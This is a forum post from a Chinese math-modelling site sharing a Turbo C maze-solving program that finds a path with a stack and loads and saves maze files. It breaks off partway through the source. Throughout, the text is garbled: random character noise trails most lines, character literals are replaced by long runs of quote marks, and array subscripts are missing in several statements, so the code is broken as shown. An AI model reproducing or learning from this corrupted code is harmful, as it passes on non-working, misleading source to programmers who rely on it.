数学建模社区-数学中国

标题: C语言技术文章 [打印本页]

作者: 韩冰    时间: 2004-10-4 02:34
标题: C语言技术文章
<DIV  align=left>
3 D1 |  N4 G8 a5 n# @% T< align=left>程序目的:3 G, y* d5 \. H- T" J5 G8 h
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
- Z8 G! B2 k- h+ a! {: Q! z% _, W% I显示在屏幕上。; ]5 `2 O5 |$ X, E. B
程序实现:
' B4 K9 @, p+ G  z) }: x# E可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
# [% E& `& Q7 L; C5 D) C文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
' K6 n7 y, p! m7 |2 ]入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫. w" a' r2 _3 ~
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
2 ?2 ~% f$ G$ E6 F" Y否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
( r- w3 l8 M* n. t5 y4 m- y用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
" L6 N+ |% I9 m/ p# s将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,; W& x4 @$ i: Z1 F* ^
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
3 ^# ^- w6 a3 {( H6 i  B程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。0 H8 W/ L# F* g" q' G0 c+ r( r4 b) j
不可以在VC上编译。
1 H0 S- _* h4 x& ~" s  G  ^$ a下载DOS版和windows版的迷宫游戏全部代码$ l' V, ?5 n: c- Q. q- b# f
用户名:migong 9 B7 P8 u6 X1 z6 g
----------------------------------------------------------------------------------, X& ~8 B: ~7 ^0 Z) h
/*
9 T" Y  s6 u- Y( U9 ?6 zMazePath Demo BY Turbo C 2.06 l2 ~, T% Z- {" s+ t% s
Copyright(c) RoverUnion. All right reserved.. D) p" J1 E% Y
Filename: Maze.c  z! K5 ~  ^3 c6 b6 U4 ?
Author Dongchengyu.8 D  t8 n9 E4 G
Ver 1.10# k1 C. P' X5 U, o' ^" y
*/* M8 {+ S& \* s' \
#include &lt;stdio.h&gt;
- F! K9 d& b( V# c4 L/ J#include &lt;stdlib.h&gt;
$ ^) q7 b5 p. U0 O1 O7 b5 K#include &lt;malloc.h&gt;
" d, _! r( d) E% N+ ?#include &lt;conio.h&gt;5 O+ `# d2 T  X$ d3 ]) D% O
#include &lt;dos.h&gt;
6 F( {" @$ Y6 \, b#define OK 16 z$ A. ?/ ^* ~1 z
#define ERROR 01 y+ P' @* X3 R8 f6 S* b1 r9 q) t
#define TRUE 1
$ o+ D1 p. D  j. Z#define FALSE 0
  \/ s- H+ [4 s/ m& H4 n9 k( B7 R#define F9 0x43' Q% }9 h% V, c5 e& Z
#define Esc 0x1b
0 s" D) W. O0 R3 I9 S#define Del 0x53
  U* p" U  r8 m, N7 [#define Home 0x472 j( h+ ?$ C, N+ x
#define End 0x4f5 C3 h$ s  t$ J
#define Space 0x20/ M* H6 w' ~1 `) `% {
#define Up 0x48; r# u8 ?6 R: J7 `4 \
#define Down 0x50; e5 [3 o/ X  j; p/ `# P
#define Left 0x4b& P3 Y. V9 G0 H- y" Z
#define Right 0x4d
' k  X5 \' X+ X' _' v0 a#define Enter 0x0d
% ^/ O% ~* \0 R/ \8 u- v, P#define F2 0x3c
7 }0 W6 b$ I) p& k. C7 t#define F3 0x3d
' D+ O; J& v. B* k& ~4 M( c#define STACK_INIT_SIZE 200/ k" p6 N2 o% u, ?+ @  w
#define STACKINCREMENT 10
- J+ V: q6 U! D1 e7 Rtypedef int Boolean;
- B) e! i- e; a6 Vtypedef int Status;
. w3 v( m& l0 w+ [typedef struct {
8 z% B- D: z. b7 g# Mint x;0 \  x: n# U' w3 k+ v) Q
int y;
4 q9 ?: x4 J& k  I7 p+ \9 D} PosType;
* h, F- N& ^* ?7 v, rtypedef struct {
4 l3 W' E% F5 \7 U: u- |. Jint ord;) f9 d. v1 i$ M
PosType seat;# R3 w3 Z4 j& M. v
int di;& a- S" S+ t& C+ g# `' m
} SElemType;5 s# E( q# {0 P1 D4 h4 p) `( u
typedef struct {6 N! `! z6 m8 V" V
int td;
+ M* W8 Z, a% o/ \4 J0 _0 ]* Aint foot;
# `; {6 C/ t- ^: W7 lint mark;) ?, i2 v9 }; I" `
} MazeType;( A) M- z4 b" B) E4 c9 L
typedef struct {4 P; p, E: P+ l, V
SElemType *base;
4 W$ E6 b2 |1 n# G8 DSElemType *top;- k/ f& r) B+ q% K( s' e
int stacksize;2 R' X) t$ l; A( I/ V
} Stack;) y$ Y5 U' }1 h: g. @9 Y0 o/ S
int Maze[20][30];* Z5 g- e) i4 H* P9 B
MazeType maze[20][30];
* P4 r8 X) f! ^" X4 NPosType StartPlace;: ~% l) n; p1 ~- q7 m
PosType EndPlace;
8 J: z4 G# j# m8 \9 E/ `int count;+ W9 B1 {4 ?9 F; V+ U8 K
int m,n;. {1 t; o& M0 J8 n; L5 W2 d
Boolean b_start=FALSE,b_end=FALSE;
" O0 H! y4 {  A* H2 z- k' Dvoid CreatMaze(void);
) u( h" x% G) r9 h& f- lStatus SaveMaze(char *filename);
! K6 F& U  S6 n: ]; A3 a2 Q6 |Status LoadMaze(char *filename);" A- `: x4 ^1 y* M7 h
void Error(char *message);
8 \' b$ ^2 z* {" B# E4 jStatus InitStack(Stack *s);+ g3 d+ f  c* U# P. q. U
Status DestroyStack(Stack *s);
, x3 k$ f# h. nStatus ClearStack(Stack *s);
/ `, H( [1 I" h  @2 U& B1 G+ ]  ZBoolean StackEmpty(Stack *s);; _: |  z8 v  p0 s$ W6 R
int StackLength(Stack *s);4 J# R* i4 a3 B3 [: [7 c4 T
Status Push(Stack *s,SElemType e);; t. Z. S1 P( i  G/ r4 a1 b$ V
SElemType Pop(Stack *s,SElemType e);% S, j8 T. {* M4 ]2 U+ j4 j' x# P
Status GetTop(Stack *s,SElemType *e);
5 ?  G# C+ V  z& q9 JStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));$ q5 z. e: Y- q- c
Boolean Pass(PosType curpos);
8 q7 M$ s* Z# L2 z; fvoid MarkPrint(PosType seat);
& f7 H$ M* Q' M6 ?8 [" mvoid FootPrint(PosType curpos);7 ]$ ^$ n. k! ^7 P4 R& ?2 }
PosType NextPos(PosType seat,int di);
3 ]1 O' E: \# \1 z/ Z/ MStatus MazePath(PosType start,PosType end);6 f  T" }* s$ t- P6 k9 G
void CreatMaze(void)7 Q; A, @) Z7 H+ C
/* Form the maze. */
1 R; `1 e7 N" i6 a4 g{
. X/ r% z+ ]+ u  v3 u9 y$ Ivoid Error(char *message);$ _. Z( J5 c) H/ E
Status SaveMaze(char *filename);; ^2 b. b: e1 o
Status LoadMaze(char *filename);
8 V" U3 x% _& f2 _int i,j;
' @0 H5 q4 p/ S* {; A8 Dint x,y;
2 d7 C& M* {9 C! B3 |8 _char c;) n' _) E: O0 |# i8 e; X
char savename[12],loadname[12];: m& B0 `& B; c) Y" C4 @
Boolean flag=FALSE,load=FALSE;8 U* ~7 i, d" j+ Z0 M
clrscr();8 z& z; f, i6 ?" U* x0 q- k
printf("Menu:\n\n");
" N  ]/ n$ r. l2 X' cprintf("1.Load Mazefile*.dd)\n\n");9 h% M/ S* M2 S2 g& D
printf("2.Input Maze:\n\n");
% h6 {( o3 \3 ]printf("Input your choice: ");
/ a+ N; ^& I$ P$ i% ^( cdo. g3 Y$ [% T+ N! Q/ t; J
{
  _, a. @9 Z$ M% t: D" yc=getch();- j8 C9 P* I" e) _
switch(c)
& ?/ b" b4 ?: @! F( y{& u! o  [6 f. G' x) p% U
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
0 T! U$ m% r' k! r3 zcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;: K  Y! m. v7 A
case Esc: sleep(1); exit(1);* P( e! a( ^: q* n  H0 v
default: break;
2 d! K/ T5 f0 ?3 B- N# S}
! p% b& u% |/ G* p0 _}
; J! H. ^: v5 ~$ N# c7 mwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
0 G( g5 k+ @- B( l/ ]* N/ sif(c==''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''): G  J1 r- P2 q+ W( N" w' ~: Z
{# E: _% f6 N( A0 s% m; `4 E
printf("\n\nLoadName: ");
+ I; S( w( u9 I9 dscanf("%s",loadname);: E6 k% j. I4 P$ u4 N3 G
if(LoadMaze(loadname))
) P! L/ |! p8 g" ~$ B3 m{2 }  u" O. q3 B9 x" q- l
sleep(1); load=TRUE;& o1 |  X  f* Y( W) b
}3 Z# a8 x+ @( \7 L: {, ]
else { gotoxy(1,9); printf("Load fail! "); }8 F; E$ _. l; Y
}
& P! g- V& T8 D- [, I# Y. @if(!load)
6 W( J- R1 r2 z- m) `{5 Y; y! ^2 z6 V7 X
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
/ G" E8 I: K5 c  |' U5 ?! c5 Iprintf("\nInput Length :\n");
! S* H& X, c2 a, j+ kscanf("%d",&amp;m);
9 Y  n+ L( u0 |4 t; cprintf("\nInput Width :\n");
7 b* k+ t' q# H3 Z7 r' e5 s3 xscanf("%d",&amp;n);
$ ]/ q9 d$ l. R! X+ h$ r% [if(m&lt;4||n&lt;4) Error("Input");
1 ~! w) a+ {* r% Zif(m&gt;30||n&gt;20) Error("Maze too large");
( z4 K' u4 D# j, ffor(i=0;i&lt;30;i++)0 m8 c. |  x0 s7 ~
for(j=0;j&lt;20;j++)7 M8 A! ?2 Y( |
Maze[j]=2;
' t2 j$ ?) i, z4 ~9 `* W0 O( JStartPlace.x=0;& y/ n  L8 l4 Y1 b& U: f/ o
StartPlace.y=0;# y4 J/ V, |" S3 o) p
EndPlace.x=0;
; `- W8 g0 h0 n. g& |, hEndPlace.y=0;
; U; |( @4 b- ?- ~: Fclrscr();
! g+ v7 ]) g8 |1 R' n" t1 Vprintf("\n");
9 {3 x' x; q% d! M$ efor(i=1;i&lt;=n;i++)
* G4 m3 o* U3 |7 Q1 }{5 R) P1 g# ^, V& k1 Z* t
for(j=1;j&lt;=m;j++)- u+ e9 @; S6 u( E
{
1 F0 N7 p2 W8 K7 r& N8 R9 p. H0 |printf(" #");7 q9 Y* p/ V3 U
Maze[i-1][j-1]=0;5 o# G5 P, |: z1 k$ v
}7 f8 N5 [8 c# p7 G+ q
printf("\n");
% w( M- v. G6 C+ v8 ?}* \0 G( R/ \, n
}
8 c% k4 N* r! ^! Ugotoxy(65,5);
# G( y5 W3 ?- W/ R4 hprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
7 P5 h7 q0 k% T5 F( }1 _* lgotoxy(65,7);
& Z1 }6 y7 x+ X" Hprintf("Start:Home");) V2 p( W4 W' P0 C8 M: W
gotoxy(65,9);
% g! A3 G; a; f) F. H! q9 |8 Bprintf("End:End");
- q6 Q$ T, l& }  b, \) i. wgotoxy(65,11);+ q) ?7 U# H" @& f. h
printf("Delete Wallel");8 ]7 d; ?2 y- w5 P
gotoxy(65,13);
3 v; w. a6 F' J) A; Gprintf("Enter Wall:Enter");8 R) N& @% I! q( d
gotoxy(65,15);
8 Z) x) H* |! A; b, `7 h8 Aprintf("Save Maze:F2");  y+ O. t6 ^3 f( B( m8 a1 N
gotoxy(65,17);3 I2 k# r, \% \  l3 T
printf("Complete:F9");% M1 v1 v8 c* |
gotoxy(65,19);& w1 ]. U1 H8 v7 Y. g5 A
printf("Exit:Esc");
3 U5 P( Z8 l! Igotoxy(4,3);
* G+ q* [7 F# D! K  Wx=4;y=3;  o! \: }4 O% T2 c
do  F# _* C$ P4 S; L- [9 k
{
8 t+ y: U2 }: n5 O: G+ qc=getch();
4 f9 w: W; e1 W% m0 T: k4 ?4 d, tswitch(c)
7 e2 L4 a% a/ S4 D{
% P2 d- C4 G$ u5 Y. c2 icase Up: if(y&gt;3) { y--; gotoxy(x,y); }
- J8 f4 W5 K4 o# ybreak;
+ o9 F- u" y$ y0 i+ acase Down: if(y&lt;n) { y++; gotoxy(x,y); }. Q5 S' p0 C4 k: x9 w9 B- l$ N/ o
break;) b4 K. x' ~5 V$ Z5 j8 e0 m, [* H
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
$ J' L  L# ?* O8 Q  {9 ~# jbreak;
% a+ `" C2 {2 }: N% Y8 pcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }' Q; }( W7 ^: ]( Q( T- n
break;: X0 W% S( j! N0 R
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;: c) J- `6 A  L1 X' s' H# J7 D; |
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
4 u. t9 o( s5 Eputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
) A$ N% d6 Z1 F$ i# Pbreak;' z8 D7 i9 }; }8 w+ ~5 T4 _- l5 M
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
! D  [2 u+ g$ t1 t. C) Nif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
& C; {. a9 v2 [; Z6 @1 t1 Hputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);* N5 {- q5 s4 J" [5 r: t
break;' h7 J$ _8 B; ?5 v' k  O- }
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
- Z$ M3 j) W# [/ g; r{
2 [) \, @. m. f! q3 j' g: WStartPlace.x=x/2-1;+ I% V& C1 M6 e5 r
StartPlace.y=y-2;, W5 h6 ?% a) L5 ^( [
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');" G. L+ e9 m2 S+ ~" f
gotoxy(x,y);
, D$ F5 S6 [) ^8 C+ d- N1 B3 Bb_start=TRUE;7 z- B5 s3 L% [. J; [$ u3 V0 y2 N
}
9 o$ d: i( w" s* W2 Bbreak;0 o- n  t! ?, I9 R" ~
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)4 v# k- x5 y2 B
{' E( a1 F8 Y9 t% I
EndPlace.x=x/2-1;
$ A4 [! C. w, F+ TEndPlace.y=y-2;
1 _5 W9 w1 B4 c( U6 e, yputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');: Q" d4 _: |' z% p" D" c
gotoxy(x,y);
2 ^% ?: S* q: Z' _. W) kb_end=TRUE;% V: d6 n$ T: Z" R* C" ^6 T9 D& f# G9 D
}
3 I* O/ U, B7 k( R/ jbreak;
  n) M  y* F8 dcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
9 D" j0 c8 Y$ Hcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
- q* v- b& Y7 N* ?case F2: gotoxy(2,22);
6 W0 e: |% H7 {. ~. Wprintf("Savename:");
/ L3 P8 P  V: Y& C4 {scanf("%s",savename);
0 M4 m% E7 `$ F5 e/ Wgotoxy(2,22);* h# T4 u; {# {" \! Q
if(SaveMaze(savename)) printf("Save OK! ");
, S3 q( h$ H' B% C* B( o& belse printf("Save fail! ");
. S4 S* B4 v! isleep(1);0 D5 Q( ~* V* K9 N/ E
gotoxy(2,22);
5 k8 Q9 v3 }/ u% jprintf(" ");2 [3 |3 K$ F2 D/ v& l
gotoxy(x,y);' f/ k+ ~( V: E$ s4 V
break;
$ F$ s$ g% a4 ?/ q- b$ Gdefault: break;
% g/ I8 K2 I" _}" V  K8 j$ m/ p" F
}3 Z  D4 u$ I. ]) t2 F
while(!flag);
6 |$ K# b/ j8 w# k6 ~) Vfor(i=0;i&lt;30;i++), q, {6 g& |- O/ \
for(j=0;j&lt;20;j++)
% F. D) N7 s1 w4 _) \& Y{' p6 C' M3 J$ Q' s" h
maze[j].td=Maze[j];
" M" {! q5 n% M  r4 J: y: p8 `maze[j].mark=0;
" |1 S8 T  n3 |- O0 s4 o' z: a1 V1 q( {maze[j].foot=0;
! m* Q3 `/ S' n5 Y3 s' `# c4 \}
, q8 O  P7 }, j6 |: }! ?7 P}
' F$ J! |; o1 H2 H2 \( k: jStatus LoadMaze(char *file)
: \9 S) q. A' X7 [1 u% H/* The maze has been loaded. */6 g. b, U/ I8 J; F2 f
{
6 L! O, e4 {/ s: f9 ~* oFILE *fp;
  J4 I& W* p; ^char *buffer;' W" b) h2 m2 _
char ch;
1 N6 k& C. J% C7 `7 |int i=0,j,k;
; i6 d/ D, P* @* a. CBoolean len=FALSE,wid=FALSE;4 Q8 ~4 ~# [3 c9 |/ D% H2 l
if((fp=fopen(file,"r"))==NULL)
# R! c6 \) D8 C* Z. ?1 sreturn ERROR;
  m: G4 I/ W. d/ i7 {4 x% ]: Bbuffer=(char *)malloc(600*sizeof(char));1 b! R# L' X& V; y9 o
ch=fgetc(fp);
& G; I5 H* @/ R* g; Y0 Z7 s2 Q+ Cwhile(ch!=EOF)
6 K. g1 B) g# p: T: b  J. ~{
5 j  h. c: |) z  \. X- N, @4 gbuffer=ch;7 I; F. b9 Y2 \) k, O
i++;
  [( Q( ~" v0 N- Y. sch=fgetc(fp);
" B1 ]/ \* B# B, `* j& U) W}
  S, `  I. a( Hm=30;n=20;- ?6 T) j) V+ y  ^0 L6 W
for(i=0;i&lt;600;i++)
5 H  j) f) n8 I% P% m+ v1 m# j{% O$ I+ M$ U/ V0 E; [  U
j=i/30; k=i%30;" {* _/ r7 P9 Q/ v! t. i
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
) z4 h- Y. M/ G- v# m8 @if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }8 g" k& {# O* x5 f! q6 v1 B
switch(buffer)
# I; \+ i' G/ G. J6 Y, `) g( A{
- _+ B, ~/ k4 X9 n( J' R" ^case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;! j5 p9 y) ]2 a
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;, o0 n8 d. w8 p
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;6 ]8 E" M7 |- q& C' m: @" Y- F
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
* e4 E8 i" l: U# a) wStartPlace.x=k;1 k1 I  L% Z; D% y4 ~
StartPlace.y=j;
' e' O" q+ O( `4 {) t! x& h# rb_start=TRUE;# d; i" F7 }, W$ A' e$ M1 j! ~
break;+ j  J$ ^1 J% ]! Y) d9 T8 y
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;( G( v9 Y& v1 w  e
EndPlace.x=k;, A  ^; f0 N: S' b, M
EndPlace.y=j;/ W1 ?# i# T' _! G
b_end=TRUE;
" x! n% [3 b% x& @& P7 q0 Nbreak;, e' b- C" k/ ~( Z- p2 N2 P
default : break;( `; T6 n$ l; P# v# C
}$ h8 {, p6 u) {1 K+ p& r' H- l
}
" J% _$ b0 X! G7 a8 Yfclose(fp);5 I$ ?8 e* w7 T0 x
clrscr();
- ]% N/ V) q( ~" n# b9 \6 E; g( sfor(i=0;i&lt;30;i++)
( N7 _2 ?3 P" U* }9 w2 l) S* g7 wfor(j=0;j&lt;20;j++)" p' T6 O# t- Z- l& W( d- _
{. K/ w" {* N/ _! }8 u5 S
maze[j].td=Maze[j];5 L# K# G0 A; Q) O) y
maze[j].foot=0;
1 K: T% V& K  O/ G% d" O1 hmaze[j].mark=0;& o9 i5 [5 t. {+ x- ]% b
if(Maze[j]==0)
1 d* m, M* |2 ~1 B' `{
7 G( N  ^# S. z0 K8 R' c! b+ P% \gotoxy(2*i+2,j+2);
3 D1 V' h, \: I6 cputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
, F9 ~7 a0 N( E7 F4 Y  B}- W7 S0 D4 Y" U; C1 T
}' {+ D1 A& \& y5 E7 N  q0 w
gotoxy(2*StartPlace.x+2,StartPlace.y+2);' R: [3 C! K# x/ R& g, m, }9 Z6 B
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');9 d7 x/ T# O: a( a3 D6 X+ c9 D: ]8 q( c
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
  M& e7 B; f2 ~! ]9 Q: Aputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');" b2 w" k% w! s0 m  D
return OK;! E9 I$ M! a1 _4 Y: Y
}
' F; \, f+ b( h; K: u! |3 ^6 p7 L& s- zStatus SaveMaze(char *filename)1 {$ O4 N5 P& E4 S8 f- V3 }
/* The maze has been saved. */
( B( L$ w" x- d* S4 K2 l{3 T/ H+ H/ O' r
FILE *fp;5 X6 x1 h# J# ]- \
char *buffer;
$ o7 e, I8 I) w6 o" n+ \6 Tint i,j,k;
; A: x: g8 b; G# @& ^. H, X% ^fp=fopen(filename,"wb");
: e7 S$ {  G& V6 L/ V8 lbuffer=(char *)malloc(600*sizeof(char));
- R! N. T7 g  x6 h% j2 o0 J9 mfor(i=0;i&lt;600;i++)) P8 Y* C; l1 X4 n
{% i6 Z6 w# p. ~6 \
j=i/30; k=i%30;
1 Q; {) s' k3 o1 }switch(Maze[j][k])/ i  T3 U: N. X, j0 i$ g- {! z- K
{
( Z5 y' G' @' _4 i9 _case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;  ^7 o; `0 [/ j
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
& L2 B  V4 F$ x! H" ^. K5 k/ [case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
. z/ q. i2 Q+ d* G- udefault : Error("Write"); break;% ^7 U4 S' `$ R% P# }
}
% T* T3 ^1 H+ b$ l# ?/ ^6 r3 Eif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';* q  {& d% f) S, O1 t) L
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';4 V% Y8 [) B" T3 a  Y- A4 [; C
}
1 I2 |& K$ I/ W" K3 v# F; i# [fwrite(buffer,600,1,fp);
/ m- }6 j  T2 A2 [! J$ sfree(buffer);
1 i: x  h  v! T$ E# xfclose(fp);
% g) z3 M1 }0 a1 w  f  Q8 T  Breturn OK;
: `; Y( u2 W% ?+ u}
- T9 B( R- K% X4 l% ovoid Error(char *message)
4 Z7 ]# L) l6 ^' p8 M{
% _) P$ G  w+ b9 k* I. b* x! d/ ~clrscr();5 H7 c& O: N  O, A+ ^3 ~; T
fprintf(stderr,"Error:%s\n",message);
! n  f8 D- W/ mexit(1);
* e, h  D* k' |# U! U3 ~+ P9 ^} /* Error */1 d8 G5 a, Q7 A7 E4 g9 {/ u

3 _! N+ u" O5 d! `* q& B5 MStatus InitStack(Stack *s), M$ U  E. k8 s; Q
/* The stack s has been created and is initialized to be empty. */+ d% d6 `9 N6 c( c. C
{
0 ~9 o, g* F4 ^. W6 ]; |) _% @. P) M- ~s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));. [8 [# Z3 k7 ^- u' ?' S/ m9 s- q
if(!s-&gt;base) Error("Overflow");
1 a% S6 c: A6 Ys-&gt;top=s-&gt;base;3 N/ d- c' E0 s
s-&gt;stacksize=STACK_INIT_SIZE;: ?' a; p( A' g( t0 H
return OK;
2 E2 P4 T3 s. Z4 `} /* InitStack */
: R* v- x* @3 k% x/ G: ~4 U7 RStatus DestroyStack(Stack *s)4 L0 w4 w9 k( R6 y2 i
/* The stack s has been destroyed. */
- y/ ?$ E; Q2 y7 S3 s{6 T0 v( e/ G* m) T! o7 w
s-&gt;top=NULL;3 O% c0 ?# I# V* k
s-&gt;stacksize=0;
5 I9 M" P/ x# v7 s. O) i* |free(s-&gt;base);
/ H) g3 f, s+ u0 J8 Ss-&gt;base=NULL;( N/ |! V' D" r* k1 r
return OK;: v) f/ P. j2 c# M
} /* DestroyStack */! d1 Q8 O; B3 Y4 m$ y7 g
Status ClearStack(Stack *s); E2 Q9 T* p1 v4 j" X
/* The stack has been clear to be maximum. */( y7 Q; V1 x/ S
{
5 \' \8 |1 F8 `0 e6 ^s-&gt;top=s-&gt;base;$ o, U8 C( d0 z# H+ v
s-&gt;stacksize=STACK_INIT_SIZE;& T. o1 x' p8 `& s# H
return OK;2 c. z5 ^7 O) ?
} /* ClearStack */6 c( a4 r; D6 k: e( I5 b
Boolean StackEmpty(Stack *s)
" \* J8 [# G! ?0 U8 g, U/* Check if the stack s is empty. */: _9 n2 u- O4 G( }( ^  G
{
* c# b$ e# n& U4 b8 E4 e, wif(s-&gt;top==s-&gt;base) return TRUE;
( j* o6 d+ v# xelse return FALSE;
, h; x; p5 c+ ?" [+ H} /* StackEmpty */: _+ v! [/ X' \, b
int StackLength(Stack *s)
; {. c9 v. _; L4 X$ [0 g+ @) |/* Gain the length of the stack s. */
! |) K" r$ l1 S0 t4 M{& a6 e/ J! E3 P9 i1 {2 q4 y. l6 `
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);9 F) g# q4 x2 P6 e2 f/ ^
else return 0;7 O, g% S$ ]1 ?7 x& V8 P
} /* StackLength */
, w9 t2 d# z$ p# u3 \' v+ n- LStatus Push(Stack *s,SElemType e)
+ r% g; Q# A& z1 W  ]% @# G% K3 `/* The element e has been pushed into the stack s. */
, Y' [' L8 d4 T4 j{
* U; O2 D9 k4 t7 k6 |if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)" [9 A4 Y5 h/ _4 Y2 C3 a
{
% H) u3 j' A1 j# Z: Os-&gt;base=(SElemType *)realloc(s-&gt;base,
8 E, u' }. J8 b0 @9 z(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));* Q) Z+ h* p3 V3 Z  [
if(!s-&gt;base) Error("Overflow");' _( `2 p" ^% }; S' p6 e3 k" a, r
s-&gt;top=s-&gt;base+s-&gt;stacksize;$ a4 j0 i  h  b& O* @
s-&gt;stacksize+=STACKINCREMENT;% W7 K/ e) b0 I& w/ F) a
}
/ ]3 J. m: W0 l" z5 M; l9 m*s-&gt;top++=e;
+ l! O4 Y1 ~: X! l, |return OK;" F; I3 m( O5 @6 ?, f2 b
} /* Push */
) g$ U7 L; S* TSElemType Pop(Stack *s,SElemType e)
1 l7 X4 T3 G  Q/* The element e has been removed from the stack s. */
$ [2 I+ L/ N& m7 n4 j$ x{
  _4 `' P; S& t; C/ a' @if(s-&gt;top==s-&gt;base) Error("op");& }6 S* u6 j7 }5 y
e=*--s-&gt;top;) L$ k8 o# L) l) ?( N: r' d
return e;
' Z+ @0 p" R1 D1 }  L5 G} /* Pop */
# _4 b2 ?7 k; [) vStatus GetTop(Stack *s,SElemType *e)" ]/ t* T# W* E( x
/* The element e has got to the top of the stack s.*/7 y- z( n: R, F. O
{9 Z# u. m1 N- e* I3 {
if(s-&gt;top==s-&gt;base) Error("GetTop");
" R3 o% D: H0 O9 W3 H+ R*e=*(s-&gt;top-1);/ J4 j/ @, U. `8 E2 q4 B  j# B8 \. {2 {
return OK;! k2 s+ R, S/ \* U
} /* GetTop */
( A( a* N+ t6 C9 X  p$ b/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
, p2 A+ l+ x+ l" V2 G5 v/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
; Y: ?0 n/ j, |{2 k9 R% P% P& K* C, n" v
SElemType p;
1 x4 P6 Q# f; }& V+ X; Zint result;8 \5 f5 Q1 P0 \
if(s-&gt;top==s-&gt;base) return ERROR;6 Y( ^* h, w* k) n) [% h' ~
p=s-&gt;base;
2 b9 B: t6 I  T  A9 n* ywhile(!(p==s-&gt;top))/ x  ]$ p4 n0 I. Y0 K( [' ~
{! ?+ B! _) F/ Z8 {! ]- C9 u
result=(*visit)(p);
0 o/ o) ~- N2 R5 x' t4 L: C5 W* ap++;
! {, m' j' Y8 f" d7 v+ q}
0 l4 O( l! @) }& X" s3 W3 @+ mreturn OK;4 i/ R. ]# M; @' f* v" `
} */
" `7 n/ R) K5 z6 n4 S0 S/ q5 bBoolean Pass(PosType curpos)1 a$ ^) W% U# s/ _/ U
/* Check if the current position can be passed. */+ p/ A4 G3 c# _! i8 U" H2 U  @7 ?
{
% s! h8 L0 i& c/ I( rif(maze[curpos.x][curpos.y].td==1&amp;&amp;5 p6 m" D  R3 X; j
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)0 Y% ]4 T: H) @6 {$ e
return TRUE;
! |$ e. L; I3 x! L" I/ uelse return FALSE;
7 E2 p# C5 f( X: W; [* t} /* Pass */
: c" g$ i2 R( w3 W9 dvoid MarkPrint(PosType seat)8 R- v" m, P/ g6 F0 e: E% X" p# Q
/* Mark the position seat. */
+ Y' i+ f# q1 x6 j' p7 f{
# u$ Q7 r1 x1 x& k8 w/ J7 O2 mmaze[seat.x][seat.y].mark=-1;
